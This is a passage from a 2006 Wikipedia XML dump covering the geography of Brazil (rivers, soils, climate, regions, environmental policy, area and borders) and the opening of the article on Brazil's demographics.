called &quot;white&quot; rivers, bear rich sediments and hydrobiological elements. The black-white and clear rivers--such as the Negro, Tapajós, and Xingu--have clear (greenish) or dark water with few nutrients and little sediment.

The major river system in the Northeast is the [[São Francisco River|Rio São Francisco]], which flows 1,609 kilometers northeast from the south-central region. Its basin covers 7.6% of the national territory. Only 277 kilometers of the lower river are navigable for oceangoing ships. The [[Paraná river|Paraná]] system covers 14.5% of the country. The Paraná flows south into the [[Río de la Plata Basin]], reaching the Atlantic between Argentina and Uruguay. The headwaters of the Paraguai, the Paraná's major eastern tributary, constitute the [[Pantanal]], the largest contiguous wetlands in the world, covering as much as 230,000 square kilometers.

Below their descent from the highlands, many of the tributaries of the Amazon are navigable. Upstream, they generally have [[rapid]]s or [[waterfall]]s, and boats and barges also must face sandbars, trees, and other obstacles. Nevertheless, the Amazon is navigable by oceangoing vessels as far as 3,885 kilometers upstream, reaching [[Iquitos]] in [[Peru]]. The Amazon river system was the principal means of access until new roads became more important in the 1970s. The São Francisco was also used for transportation in the past. Dams and locks in the Paraná system have made it an important artery for interstate and international trade in the 1990s.

The various river systems descending from the shields have endowed Brazil with vast [[hydroelectric]] potential, estimated at 129,046 megawatts (MW), of which 30,065 MW were in operation or under construction in 1991. The largest hydroelectric projects are [[Itaipu]], in [[Paraná]], with 12,600 MW; [[Tucuruí]], in [[Pará]], with 7,746 MW; and [[Paulo Afonso]], in [[Bahia]], with 3,986 MW.

==Soils and Vegetation==
[[Image:Brazil_veg_1977.jpg|thumb|250px|Natural vegetation map of Brazil, 1977]]

Brazil's tropical soils produce 70 million tons of [[grain crop]]s per year, but this output is attributed more to their extension than their fertility. Despite the earliest [[Portuguese explorers]]' reports that the land was exceptionally fertile and that anything planted grew well, the record in terms of sustained [[agriculture|agricultural]] productivity has been generally disappointing. High initial fertility after clearing and burning usually is depleted rapidly, and acidity and aluminum content are often high. Together with the rapid growth of [[weed]]s and pests in cultivated areas, as a result of high temperatures and humidity, this loss of fertility explains the westward movement of the agricultural frontier and [[slash-and-burn agriculture]]; it takes less investment in work or money to clear new land than to continue cultivating the same land. Burning also is used traditionally to remove tall, dry, and nutrient-poor grass from pasture at the end of the dry season. Until mechanization and the use of chemical and genetic inputs increased during the agricultural intensification period of the 1970s and 1980s, [[coffee]] planting and farming in general moved constantly onward to new lands in the west and north. This pattern of horizontal or extensive expansion maintained low levels of technology and productivity and placed emphasis on quantity rather than quality of agricultural production.
[[Image:Amazon.A2002182.1405.1km.jpg|thumb|250px|The Amazon Rainforest]]

The largest areas of fertile soils, called [[terra roxa]] (red earth), are found in the states of [[Paraná]] and [[São Paulo]]. The least fertile areas are in the Amazon, where the dense [[rain forest]] is. Soils in the [[Northeast Region, Brazil|Northeast]] are often fertile, but they lack water, unless they are [[irrigation|irrigated]] artificially.

In the 1980s, investments made possible the use of irrigation, especially in the Northeast Region and in [[Rio Grande do Sul]] State, which had shifted from grazing to [[soy]] and [[rice]] production in the 1970s. [[Savanna]] soils also were made usable for soybean farming through [[acidity correction]], [[fertilization]], [[plant breeding]], and in some cases [[spray irrigation]]. As agriculture underwent modernization in the 1970s and 1980s, soil fertility became less important for agricultural production than factors related to capital investment, such as infrastructure, mechanization, use of chemical inputs, breeding, and proximity to markets. Consequently, the vigor of frontier expansion weakened.

The variety of climates, soils, and drainage conditions in Brazil is reflected in the range of its vegetation types. The Amazon Basin and the areas of heavy rainfall along the Atlantic coast have tropical rain forest composed of [[broadleaf]] evergreen trees. The rain forest may contain as many as 3,000 [[specie]]s of [[flora (plants)|flora]] and [[fauna (animals)|fauna]] within a 2.6-square-kilometer area. The [[Atlantic Forest]] is reputed to have even greater biological diversity than the Amazon rain forest, which, despite apparent homogeneity, contains many types of vegetation, from [[high canopy forest]] to [[bamboo grove]]s.

In the [[semiarid]] Northeast, [[caatinga]] , a dry, thick, thorny vegetation, predominates. Most of central Brazil is covered with a woodland savanna, known as the [[cerrado]] (sparse scrub trees and drought-resistant grasses), which became an area of agricultural development after the mid-1970s. In the [[South Region, Brazil|South]] (Sul), needle-leaved [[pinewood]]s (Paraná pine or [[araucaria]]) cover the highlands; grassland similar to the Argentine pampa covers the sea-level plains. The [[Mato Grosso]] [[swampland]]s ([[Pantanal]] Mato-grossense) is a [[Florida]]-sized plain in the western portion of the Center-West (Centro-Oeste). It is covered with tall [[grass]]es, [[bush]]es, and widely dispersed trees similar to those of the cerrado and is partly submerged during the rainy season.

Brazil, which is named after reddish dyewood ([[pau brasil]]), has long been famous for the wealth of its tropical forests. These are not, however, as important to world markets as those of Asia and Africa, which started to reach depletion only in the 1980s. By [[1996]] more than 90% of the original Atlantic forest had been cleared, primarily for agriculture, with little use made of the wood, except for araucaria pine in Paraná.

The inverse situation existed with regard to clearing for wood in the Amazon rain forest, of which about 15% had been cleared by [[1994]], and part of the remainder had been disturbed by selective logging. Because the Amazon forest is highly heterogeneous, with hundreds of woody species per [[hectare]], there is considerable distance between individual trees of economic value, such as [[mahogany]] and [[cerejeira]]. Therefore, this type of forest is not normally cleared for [[timber extraction]] but logged through high-grading, or selection of the most valuable trees. Because of [[vine]]s, felling, and transportation, their removal causes destruction of many other trees, and the litter and new growth create a risk of [[forest fire]]s, which are otherwise rare in [[rain forest]]s. In favorable locations, such as [[Paragominas]], in the northeastern part of [[Pará]] State, a new pattern of timber extraction has emerged: diversification and the production of [[plywood]] have led to the economic use of more than 100 tree species.

Starting in the late 1980s, rapid deforestation and extensive burning in Brazil received considerable international and national attention. [[Satellite image]]s have helped document and quantify deforestation as well as [[fire]]s, but their use also has generated considerable controversy because of problems of defining original vegetation, cloud cover, and dealing with secondary growth and because fires, as mentioned above, may occur in old pasture rather than signifying new clearing. Public policies intended to promote sustainable management of timber extraction, as well as sustainable use of nontimber forest products (such as [[rubber]], [[Brazil nut]]s, [[fruit]]s, [[seed]]s, [[vegetable oil|oil]]s, and [[vine]]s), were being discussed intensely in the mid-1990s. However, implementing the principles of sustainable development, without irreversible damage to the environment, proved to be more challenging than establishing international agreements about them.

==Climate==
[[Image:Brazil_temp_1977.jpg|thumb|250px|Temperature and precipitation map of Brazil, 1977]]

Although 90% of the country is within the [[tropical zone]], the climate of Brazil varies considerably from the mostly tropical North (the [[equator]] traverses the mouth of the Amazon) to [[temperate zone]]s below the [[Tropic of Capricorn]] (23°27' S latitude), which crosses the country at the latitude of the city of [[São Paulo (city)|São Paulo]]. Brazil has five climatic regions: [[equatorial]], [[tropical]], [[semiarid]], [[highland tropical]], and [[subtropical]].

Temperatures along the equator are high, averaging above 25°C, but not reaching the summer extremes of up to 40°C in the temperate zones. There is little seasonal variation near the equator, although at times it can get cool enough for wearing a jacket, especially in the rain. At the country's other extreme, there are frosts south of the Tropic of Capricorn during the winter (June-August), and in some years there is [[snow]] in the mountainous areas, such as [[Rio Grande do Sul]] and [[Santa Catarina (state)|Santa Catarina]]. Temperatures in the cities of São Paulo, [[Belo Horizonte]], and [[Brasília]] are moderate (usually between 15°C and 30°C), despite their relatively low latitude, because of their elevation of approximately 1,000 meters. [[Rio de Janeiro (city)|Rio de Janeiro]], [[Recife]], and [[Salvador]] on the coast have warm climates, with average temperatures ranging from 23°C to 27°C, but enjoy constant trade winds. The southern cities of [[Porto Alegre]] and [[Curitiba]] have a subtropical climate similar to that in parts of the United States and [[Europe]], and temperatures can fall below freezing in winter.

Precipitation levels vary widely. Most of Brazil has moderate [[rainfall]] of between 1,000 and 1,500 millimeters a year, with most of the rain falling in the [[summer]] (between December and April) south of the Equator. The [[Amazon region]] is notoriously humid, with rainfall generally more than 2,000 millimeters per year and reaching as high as 3,000 millimeters in parts of the western Amazon and near Belém. It is less widely known that, despite high annual precipitation, the Amazon rain forest has a three- to five-month dry season, the timing of which varies according to location north or south of the equator.

High and relatively regular levels of precipitation in the Amazon contrast sharply with the dryness of the semiarid Northeast, where rainfall is scarce and there are severe droughts in cycles averaging seven years. The [[Northeast Region, Brazil|Northeast]] is the driest part of the country. The region also constitutes the hottest part of Brazil, where during the dry season between May and November, temperatures of more than 38°C have been recorded. However, the [[sertão]], a region of [[semidesert vegetation]] used primarily for low-density ranching, turns green when there is rain. Most of the Center-West has 1,500 to 2,000 millimeters of rain per year, with a pronounced dry season in the middle of the year, while the South and most of the Atlantic coast as far north as Salvador, [[Bahia]], in the Northeast, have similar amounts of rainfall without a distinct dry season.

==Geographic Regions==
[[Image:Brazil_pol94.jpg|thumb|250px|Political map of Brazil]]
[[Image:Brazil_land_1977.jpg|thumb|250px|Land use map of Brazil, 1977]]

Brazil's twenty-six states and the Federal District ([[Distrito Federal]]) are divided conventionally into five regions: [[North Region, Brazil|North]] (Norte), [[Northeast Region, Brazil|Northeast]] (Nordeste), [[Southeast Region, Brazil|Southeast]] (Sudeste), [[South Region, Brazil|South]] (Sul), and [[Center-West Region, Brazil|Center-West]] (Centro-Oeste) - see fig. 4. In [[1996]] there were 5,581 [[municipal|municipalities]] (municípios), which have municipal governments. Many municipalities, which are comparable to United States counties, are in turn divided into [[district]]s (distritos), which do not have [[political autonomy|political]] or [[administrative autonomy|administrative]] autonomy. In [[1995]] there were 9,274 districts. All municipal and district seats, regardless of size, are considered officially to be urban. For purely statistical purposes, the municipalities were grouped in 1990 into 559 micro-regions, which in turn constituted 136 meso-regions. This grouping modified the previous micro-regional division established in [[1968]], a division that was used to present census data for [[1970]], [[1975]], [[1980]], and [[1985]].

Each of the five major regions has a distinct [[ecosystem]]. Administrative boundaries do not necessarily coincide with [[ecological boundary|ecological boundaries]], however. In addition to differences in [[physical environment]], patterns of [[economic activity]] and [[population settlement]] vary widely among the regions. The principal ecological characteristics of each of the five major regions, as well as their principal socioeconomic and demographic features, are summarized below.

===North===

The equatorial North, also known as the Amazon or [[Amazônia]], includes, from west to east, the states of [[Rondônia]], [[Acre]], [[Amazonas]], [[Roraima]], [[Pará]], [[Amapá]], and, as of [[1988]], [[Tocantins]] (created from the northern part of [[Goiás]] State, which is situated in the Center-West). Rondônia, previously a federal territory, became a state in [[1986]]. The former federal territories of Roraima and Amapá were raised to statehood in [[1988]].

With 3,869,638 square kilometers, the North is the country's largest region, covering 45.3% of the national territory. The region's principal [[biome]] is the [[humid tropical forest]], also known as the rain forest, home to some of the planet's richest [[biological diversity]]. The North has served as a source of forest products ranging from &quot;[[backlands drugs]]&quot; (such as [[sarsaparilla]], [[cocoa]], [[cinnamon]], and [[turtle butter]]) in the colonial period to [[rubber]] and [[Brazil nut]]s in more recent times. In the mid-twentieth century, nonforest products from [[mining]], [[farming]], and [[livestock-raising]] became more important, and in the [[1980]]s the [[lumber industry]] boomed. In [[1990]], 6.6% of the region's territory was considered altered by anthropic (man-made) action, with state levels varying from 0.9% in Amapá to 14.0% in Rondônia.

In [[1996]] the North had 11.1 million inhabitants, only 7% of the national total. However, its share of Brazil's total had grown rapidly in the 1970s and early 1980s as a result of interregional migration, as well as high rates of natural increase. The largest population concentrations are in eastern Pará State and in Rondônia. The major cities are [[Belém]] and [[Santarém]] in Pará, and [[Manaus]] in Amazonas. Living standards are below the national average. The highest [[per capita income]], US$2,888, in the region in [[1994]], was in Amazonas, while the lowest, US$901, was in Tocantins.

===Northeast===

The nine states that make up the Northeast are [[Alagoas]], [[Bahia]], [[Ceará]], [[Maranhão]], [[Paraíba]], [[Pernambuco]], [[Piauí]], [[Rio Grande do Norte]], and [[Sergipe]]. The former federal territory of [[Fernando de Noronha]] was incorporated into Pernambuco State in [[1988]]. For planning or ecological purposes, Maranhão west of 44° W longitude, most of which until recently was covered with &quot;pre-Amazon&quot; forest (that is, transition from the cerrado or caatinga to tropical forest), is often included in the Amazon region.

The Northeast, with 1,561,178 square kilometers, covers 18.3% of the national territory. Its principal biome is the semiarid [[caatinga]] region, which is subject to prolonged periodic droughts. By the 1990s, this region utilized extensive irrigation. In an area known as the forest zone ([[zona da mata]]), the Atlantic Forest, now almost entirely gone, once stretched along the coastline as far north as [[Rio Grande do Norte]]. [[Sugar plantation]]s established there in [[colonial time]]s persisted for centuries. Between the mata and the sertão lies a transition zone called the [[agreste]], an area of mixed farming. In 1988-89, 46.3% of the region had been subjected to anthropic activity, ranging from a low of 10.8% in Maranhão to a high of 77.2% in Alagoas.

Because its high rates of natural increase offset heavy out-migration, the Northeast's large share of the country's total population declined only slightly during the twentieth century. In 1996 the region had 45 million inhabitants, 28% of Brazil's total population. The population is densest along the coast, where eight of the nine state capitals are located, but is also spread throughout the interior. The major cities are [[Salvador]], in Bahia; [[Recife]], in Pernambuco; and [[Fortaleza]], in Ceará. The region has the country's largest concentration of [[rural population]], and its living standards are the lowest in Brazil. In 1994 Piauí had the lowest per capita income in the region and the country, only US$835, while Sergipe had the highest average income in the region, with US$1,958.

===Southeast===

The Southeast consists of the four states of [[Espírito Santo]], [[Minas Gerais]], [[Rio de Janeiro (state)|Rio de Janeiro]], and [[São Paulo (state)|São Paulo]]. Its total area of 927,286 square kilometers corresponds to 10.9% of the national territory. The region has the largest share of the country's population, 63 million in 1991, or 39% of the national total, primarily as a result of internal migration since the mid-nineteenth century until the 1980s. In addition to a dense urban network, it contains the megacities of São Paulo and Rio de Janeiro, which in 1991 had 18.7 million and 11.7 million inhabitants in their metropolitan areas, respectively. The region combines the highest living standards in Brazil with pockets of urban poverty. In 1994 São Paulo boasted an average income of US$4,666, while Minas Gerais reported only US$2,833.

Originally, the principal biome in the Southeast was the [[Atlantic Forest]], but by 1990 less than 10% of the original forest cover remained as a result of clearing for farming, ranching, and charcoal making. Anthropic activity had altered 79.5% of the region, ranging from 75% in Minas Gerais to 91.1% in Espírito Santo. The region has most of Brazil's [[industrial production]]. The state of São Paulo alone accounts for half of the country's industries. Agriculture, also very strong, has diversified and now uses modern technology.

===South===

The three states in the temperate South: [[Paraná (state)|Paraná]], [[Rio Grande do Sul]], and [[Santa Catarina (state)|Santa Catarina]]--cover 577,214 square kilometers, or 6.8% of the national territory. The population of the South in [[1991]] was 23.1 million, or 14% of the country's total. The region is almost as densely settled as the Southeast, but the population is more concentrated along the [[coast]]. The major cities are [[Curitiba]] and [[Porto Alegre]]. The inhabitants of the South enjoy relatively high living standards. Because of its industry and agriculture, Paraná had the highest average income in [[1994]], US$3,674, while Santa Catarina, a land of small farmers and small industries, had slightly less, US$3,405.

In addition to the [[Atlantic Forest]] and [[pine wood]]s, much of which were cleared in the [[post-World War II period]], the South contains [[pampa grassland]]s, similar to those of [[Argentina]] and [[Uruguay]], in the extreme south. In [[1982]], 83.5% of the region had been altered by anthropic activity, with the highest level (89.7%) in Rio Grande do Sul, and the lowest (66.7%) in Santa Catarina. [[Agriculture]]--much of which, such as [[rice]] production, is carried out by small farmers--has high levels of productivity. There are also some important industries.

===Center-West===

The Center-West consists of the states of [[Goiás]], [[Mato Grosso]], and [[Mato Grosso do Sul]] (separated from Mato Grosso in [[1979]]), as well as the [[Federal District]], site of [[Brasília]], the national capital. Until [[1988]] Goiás State included the area that then became the state of [[Tocantins]] in the North.

The Center-West has 1,612,077 square kilometers and covers 18.9% of the national territory. Its main biome is the [[cerrado]], the tropical [[savanna]] in which natural grassland is partly covered with twisted shrubs and small trees. The cerrado was used for low-density [[cattle-raising]] in the past but is now also used for [[soybean]] production. There are [[gallery forest]]s along the rivers and streams and some larger areas of forest, most of which have been cleared for [[farming]] and [[livestock]]. In the north, the cerrado blends into tropical forest. It also includes the [[Pantanal]] [[wetland]]s in the west, known for their [[wildlife]], especially [[aquatic bird]]s and [[cayman]]s. In the early 1980s, 33.6% of the region had been altered by anthropic activities, with a low of 9.3% in Mato Grosso and a high of 72.9% in Goiás (not including Tocantins). In 1996 the Center-West region had 10.2 million inhabitants, or 6% of Brazil's total population. The average density is low, with concentrations in and around the cities of [[Brasília]], [[Goiânia]], [[Campo Grande]], and [[Cuiabá]]. Living standards are below the national average. In 1994 they were highest in the Federal District, with per capita income of US$7,089 (the highest in the nation), and lowest in Mato Grosso, with US$2,268.

==The Environment==

The [[environmentalism|environmental problem]] that attracted most international attention in Brazil in the 1980s was undoubtedly [[deforestation]] in the Amazon. Of all [[Latin America]]n countries, [[Brazil]] still has the largest portion (66%) of its territory covered by forests, but [[clearing]] and [[burning]] in the Amazon proceeded at alarming rates in the 1970s and 1980s. Most of the clearing resulted from the activities of ranchers, including large corporate operations, and a smaller portion resulted from [[slash and burn]] techniques used by small farmers.

Deforestation in the Amazon declined from levels averaging 22,000 square kilometers per year during the 1970-88 period to about 11,000 square kilometers per year between 1988 and 1991. There was controversy about the levels in the mid-1990s. Knowledgeable experts placed the level of accumulated deforestation at about 15% in 1996, as opposed to 12% in 1991. Although unseasonal [[rainfall]] patterns may explain some year-to-year variation, the basic cause for the decline in deforestation after 1987 was economic crisis. There was insufficient capital, credit, or incentive for large-scale clearing, as well as insufficient public investment to stimulate new migration. Migration to the Amazon also fell quickly in the late 1980s. More effective enforcement of government regulations and bad publicity for large offenders, both of which were associated with changes in public opinion about the environment, also played a part. Technical changes involved in the transition from horizontal expansion of agriculture to increasing productivity also accounted for decreasing rates of deforestation.

[[Desertification]], another important environmental problem in Brazil, only received international attention following the [[United Nations]] Conference on the Environment and Development, also known as the [[Earth Summit]], held in [[Rio de Janeiro]] in June [[1992]]. Desertification means that the soils and vegetation of drylands are severely degraded, not necessarily that land turns into desert. In the early 1990s, it became evident that the semiarid [[caatinga]] ecosystem of the Northeast was losing its natural vegetation through clearing and that the zone was therefore running the risk of becoming even more arid, as was occurring also in some other regions.

In areas where [[agriculture]] is more intense and developed, there are serious problems of [[soil erosion]], [[silt]]ation and [[sedimentation]] of streams and rivers, and [[pollution]] with [[pesticide]]s. In parts of the [[savanna]]s, where irrigated [[soybean]] production expanded in the 1980s, the [[water]] table has been affected. Expansion of pastures for [[cattle]] raising has reduced natural [[biodiversity]] in the savannas. Swine effluents constitute a serious environmental problem in Santa Catarina in the South.

In [[urban area]]s, at least in the largest cities, levels of [[air pollution]] and [[congestion]] are typical of, or worse than, those found in cities in [[developed countries]]. At the same time, however, basic environmental problems related to the lack of [[sanitation]], which developed countries solved long ago, persist in Brazil. These problems are sometimes worse in middle-sized and small cities than in large cities, which have more resources to deal with them. Environmental problems of cities and towns finally began to receive greater attention by society and the government in the 1990s.

According to many critics, the [[economic crisis]] in the 1980s worsened environmental degradation in Brazil because it led to overexploitation of [[natural resources]], stimulated settlement in fragile lands in both rural and urban areas, and weakened environmental protection. At the same time, however, the lower level of economic activity may have reduced pressure on the environment, such as the aforementioned decreased level of investment in large-scale clearing in the Amazon. That pressure could increase if economic growth accelerates, especially if consumption patterns remain unchanged and more sustainable forms of production are not found.

In Brazil public policies regarding the [[environment]] are generally advanced, although their implementation and the enforcement of [[environmental law]]s have been far from ideal. Laws regarding [[forest]]s, [[water]], and [[wildlife]] have been in effect since the 1930s. Brazil achieved significant institutional advances in environmental policy design and implementation after the [[Stockholm Conference on the Environment]] in [[1972]]. Specialized environmental agencies were organized at the federal level and in some states, and many [[national park]]s and reserves were established. By [[1992]] Brazil had established thirty-four national parks and fifty-six [[biological reserve]]s. In 1981 the National Environment Policy was defined, and the National System for the Environment (Sistema Nacional do Meio Ambiente--[[Sisnama]]) was created, with the National Environmental Council (Conselho Nacional do Meio Ambiente--[[Conama]]) at its apex, municipal councils at its base, and state-level councils in between. In addition to government authorities, all of these councils include representatives of civil society.

The [[1988 constitution]] incorporates environmental precepts that are advanced compared with those of most other countries. At that time, the [[Chamber of Deputies]] (Câmara dos Deputados) established its permanent Commission for Defense of the Consumer, the Environment, and Minorities. In 1989 the creation of the Brazilian Institute for the Environment and Renewable Natural Resources (Instituto Brasileiro do Meio Ambiente e dos Recursos Naturais Renováveis--[[Ibama]]) joined together the federal environment secretariat and the federal agencies specializing in [[forestry]], [[rubber]], and [[fisherie]]s. In [[1990]] the administration of [[Fernando Collor de Mello]] (president, 1990-92) appointed the well-known environmentalist [[José Lutzemberger]] as secretary of the environment and took firm positions on the environment and on [[Indian land]]s. In [[1992]] Brazil played a key role at the [[Earth Summit]], not only as its host but also as negotiator on sustainable development agreements, including the conventions on climate and biodiversity. The Ministry of Environment was created in late 1992, after President Collor had left office. In August [[1993]], it became the Ministry of Environment and the [[Legal Amazon]] and took a more pragmatic approach than had the combative Lutzemberger. However, because of turnover in its leadership, a poorly defined mandate, and lack of funds, its role and impact were limited. In 1995 its mandate and name were expanded to include water resources--the Ministry of Environment, Hydraulic Resources, and the Legal Amazon--it began a process of restructuring to meet its mandate of &quot;shared management of the sustainable use of natural resources.&quot; In 1997 the Commission on Policies for Sustainable Development and Agenda 21 began to function under the aegis of the Civil Household. One of its main tasks was to prepare Agenda 21 (a plan for the twenty-first century) for Brazil and to stimulate preparation of state and local agendas.

Institutional development at the official level was accompanied and in part stimulated by the growth, wide diffusion, and growing professional development of [[nongovernmental organization]]s ([[NGO]]s) dedicated to environmental and socio-environmental causes. The hundreds of NGOs throughout Brazil produce documents containing both useful information and passionate criticisms. Among the Brazilian environmental NGOs, the most visible are SOS Atlantic Forest ([[SOS Mata Atlântica]]), the Social-Environmental Institute (Instituto Sócio-Ambiental--ISA), the Pro-Nature Foundation (Fundação Pró-Natureza--Funatura), and the Amazon Working Group (Grupo de Trabalho Amazônico--GTA). The Brazilian Forum of NGOs and Social Movements for the Environment and Development and the Brazilian Association of Nongovernmental Organizations (Associacão Brasileira de Organizações Não-Governamentais--ABONG) are national networks, and there are various regional and thematic networks as well. The main international environmental NGOs that have offices or affiliates in Brazil are the World Wildlife Fund (WWF), Conservation International (CI), and Nature Conservancy.

Especially after the events of the late 1980s, international organizations and developed countries have allocated significant resources for the environmental sector in Brazil. In 1992 environmental projects worth about US$6.8 million were identified, with US$2.6 in counterpart funds (funds provided by the Brazilian government). More than 70% of the total value was for sanitation, urban pollution control, and other urban environmental projects. Thus, the allocation of resources did not accord with the common belief that funding was influenced unduly by alarmist views on deforestation in the Amazon.

Among the specific environmental projects with international support, the most important was the National Environmental Plan (Plano Nacional do Meio Ambiente--PNMA), which received a US$117 million loan from the World Bank. The National Environmental Fund (Fundo Nacional do Meio Ambiente--FNMA), in addition to budgetary funds, received US$20 million from the Inter-American Development Bank to finance the environmental activities of NGOs and small municipal governments. The Pilot Program for the Conservation of the Brazilian Rain Forests (Programa Piloto para a Proteção das Florestas Tropicais do Brasil--PPG-7) was supported by the world's seven richest countries (the so-called G-7) and the European Community, which allocated US$258 million for projects in the Amazon and Atlantic Forest regions. The Global Environment Facility (GEF), created in 1990, set aside US$30 million for Brazil, part of which is managed by a national fund called Funbio. GEF also established a small grants program for NGOs, which focused on the cerrado during its pilot phase. The World Bank also made loans for environmental and natural resource management in Rondônia and Mato Grosso, in part to correct environmental and social problems that had been created by the World Bank-funded development of the northwest corridor in the 1980s.

Despite favorable laws, promising institutional arrangements, and external funding, the government has not, on the whole, been effective in controlling damage to the environment. This failure is only in small measure because of the opposition of anti-environmental groups. In greater part, it can be attributed to the traditional separation between official rhetoric and actual practice in Brazil. It is also related to general problems of governance, fiscal crisis, and lingering doubts about appropriate tradeoffs between the environment and development. Some of the most effective governmental action in the environmental area has occurred at the state and local levels in the most developed states and has involved NGOs. In 1994 the PNMA began to stress decentralization and strengthening of state environmental agencies, a tendency that subsequently gained momentum.

'''Environment - current issues:'''
[[deforestation]] in Amazon Basin destroys the habitat and endangers the existence of a multitude of plant and animal species indigenous to the area; air and water pollution in [[Rio de Janeiro]], [[São Paulo (city)|São Paulo]], and several other large cities; land degradation and water pollution caused by improper mining activities
&lt;br&gt;''note:''
President [[Fernando Henrique Cardoso|Cardoso]] in September [[1999]] signed into force an environmental crime bill which for the first time defines [[pollution]] and deforestation as crimes punishable by stiff fines and jail sentences

'''Environment - international agreements:'''
&lt;br&gt;''party to:''
Antarctic-Environmental Protocol, Antarctic-Marine Living Resources, Antarctic Seals, Antarctic Treaty, Biodiversity, Climate Change, Climate Change-[[Kyoto Protocol]], Desertification, Endangered Species, Environmental Modification, Hazardous Wastes, Law of the Sea, Marine Dumping, Ozone Layer Protection, Ship Pollution, Tropical Timber 83, Tropical Timber 94, Wetlands, Whaling
&lt;br&gt;''signed, but not ratified:''
none of selected agreements

===Rivers and Lakes===
The River Amazon is the widest and second longest river in the world. This huge river waters the majority of the world's rainforests. 
Another rather large river called the Parana, which has its source in Brazil. It forms the border of Paraguay and Argentina, then winds its way through Argentina and into the Atlantic Ocean along Uruguay.

===Coastline===
'''Coastline:'''
7,367 km (4578 mi)

===Climate===
'''Climate:'''
mostly tropical, but temperate in south

===Demographics===
''Main article: [[Demographics of Brazil]]''

===Economic Geography===
''Main article: [[Economy of Brazil]]''

==Natural Resources==
[[Natural resources]] include [[bauxite]], [[gold]], [[iron]] [[ore]], [[manganese]], [[nickel]], [[phosphates]], [[platinum]], [[tin]], [[uranium]], [[petroleum]], [[hydropower]] and [[timber]].

==Area and land boundaries==

'''Area:'''
&lt;br&gt;''total:''
8,514,215 km² (3,287,357 sq. mi)
&lt;br&gt;''land:''
8,456,510 km² (3,265,076 sq. mi)
&lt;br&gt;''water:''
55,455 km² (21,411 sq. mi)
&lt;br&gt;''note:''
includes Arquipelago de Fernando de Noronha, Atol das Rocas, [[Trindade Island|Ilha da Trindade]], [[Ilhas Martin Vaz]], and [[Saint Peter and Paul Rocks|Penedos de São Pedro e São Paulo]]. 

Special Note: About 60% of the [[Amazon Rainforest]] is part of Brazil.

'''Area - comparative:'''
slightly smaller than the US

'''Land boundaries:'''
&lt;br&gt;''total:''
15,735 km (9777 mi)
&lt;br&gt;''border countries:''
[[Argentina]] 1,263 km (785 mi), [[Bolivia]] 3,126 km (1942 mi), [[Colombia]] 1,644 km (1022 mi), [[French Guiana]] 655 km (407 mi), [[Guyana]] 1,298 km (807 mi), [[Paraguay]] 1,339 km (832 mi), [[Peru]] 2,995 km (1861 mi), [[Suriname]] 593 km (368 mi), [[Uruguay]] 1,003 km (623 mi), [[Venezuela]] 1,819 km (
1130 mi)

'''Maritime claims:'''
&lt;br&gt;''contiguous zone:''
24 nautical miles (44 km)
&lt;br&gt;''continental shelf:''
200 nautical miles (370 km)
&lt;br&gt;''[[exclusive economic zone]]:''
200 nautical miles (370 km)
&lt;br&gt;''territorial sea:''
12 nautical miles (22 km)

'''Vegetation:'''
[[Cerrado]], [[Atlantic Forest]]

'''Elevation extremes:'''
&lt;br&gt;''lowest point:''
Atlantic Ocean 0 m
&lt;br&gt;''highest point:''
Pico da Neblina 2,994 m (9,823 ft)

'''Land use:'''
&lt;br&gt;''arable land:''
5%
&lt;br&gt;''permanent crops:''
1%
&lt;br&gt;''permanent pastures:''
22%
&lt;br&gt;''forests and woodland:''
58%
&lt;br&gt;''other:''
14% (1993 est.)

'''Irrigated land:'''
28,000 km² (1993 est.)

'''Natural hazards:'''
recurring droughts in northeast; floods and occasional frost in south


'''Geography - note:'''
largest country in South America; shares common boundaries with every South American country except Chile and Ecuador

== Cities ==
This is an incomplete list of Brazillian cities.

* [[Anapolis]]
* [[Aracaju]]
* [[Belém]]
* [[Belo Horizonte]]
* [[Brasília]]
* [[Campinas]]
* [[Campo Grande]]
* [[Curitiba]]
* [[Florianópolis]]
* [[Fortaleza]]
* [[Goiânia]]
* [[João Pessoa]]
* [[Maceió]]
* [[Manaus]]
* [[Palmas]]
* [[Petrópolis]]
* [[Porto Alegre]]
* [[Porto Velho]]
* [[Recife]]
* [[Rio Branco]]
* [[Rio de Janeiro]]
* [[São Paulo (city)|São Paulo]]
* [[São Luís]]
* [[Salvador, Brazil|Salvador]]
* [[Teresina]]
* [[Vitória]]

==See also==
* [[History of Brazil]]
* [[Demographics of Brazil]]
* [[Politics of Brazil]]
* [[Economy of Brazil]]
* [[Communications in Brazil]]
* [[Transportation in Brazil]]
* [[Military of Brazil]]
* [[Foreign relations of Brazil]]
* [[States of Brazil]]

==Sources==
*[http://lcweb2.loc.gov/frd/cs/cshome.html Library of Congress, Country Studies]
*''CIA World Fact Book''

[[Category:Geography by country|Brazil]]
[[Category:Geography of Brazil|*]]

[[fr:Géographie du Brésil]]
[[gl:Xeografía do Brasil]]
[[lt:Brazilijos geografija]]
[[no:Brasils geografi]]
[[pl:Geografia Brazylii]]
[[pt:Geografia do Brasil]]
[[sl:Geografija Brazilije]]</text>
    </revision>
  </page>
  <page>
    <title>Demographics of Brazil</title>
    <id>3632</id>
    <revision>
      <id>41753749</id>
      <timestamp>2006-03-01T14:28:14Z</timestamp>
      <contributor>
        <username>Phil Boswell</username>
        <id>24373</id>
      </contributor>
      <comment>migrate {{web reference}} to {{[[template:cite web|cite web]]}} using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">==Census information==
Brazil has conducted a periodical population census since 1872. Since 1940, this census has been carried out [[Wiktionary:decennial|decennially]].  Scanned versions of the forms for each census distributed in Brazil since 1960 are available on-line from IPUMS International.{{ref|BrazilCensusForms}}

==Demographics==
===Ethnic groups===
In large part, the population descends from early [[Europe]]an settlers &amp;mdash; chiefly [[Portugal|Portuguese]], but also some [[Spain|Spaniard]], [[France|French]] and [[Netherlands|Dutch]] &amp;mdash;, [[African]] slaves ([[Yoruba]], [[Ewe (people)|Ewe]], [[Bantu]], and others), and assimilated indigenous peoples (mostly [[Tupi]] and [[Guarani]], but also of many other ethnic groups).  Trans-ethnic marriages and concubinates have been common and well accepted ever since the first Portuguese settlers arrived. Starting in the late [[19th century]] Brazil received substantial immigration from several other countries, mainly [[Italy]], [[Germany]], [[Spain]], [[Poland]], [[Lebanon]] and [[Syria]] (mostly Christians), [[Ukraine]], [[Russia]] and [[Lithuania]], [[Hungary]] and [[Armenia]], [[Japan]], [[China]] and [[Korea]].  [[Jewish]] people, both from [[Ashkenazi]] and [[Sephardi]] ascent, form considerably large communities, especially in Rio de Janeiro and São Paulo.

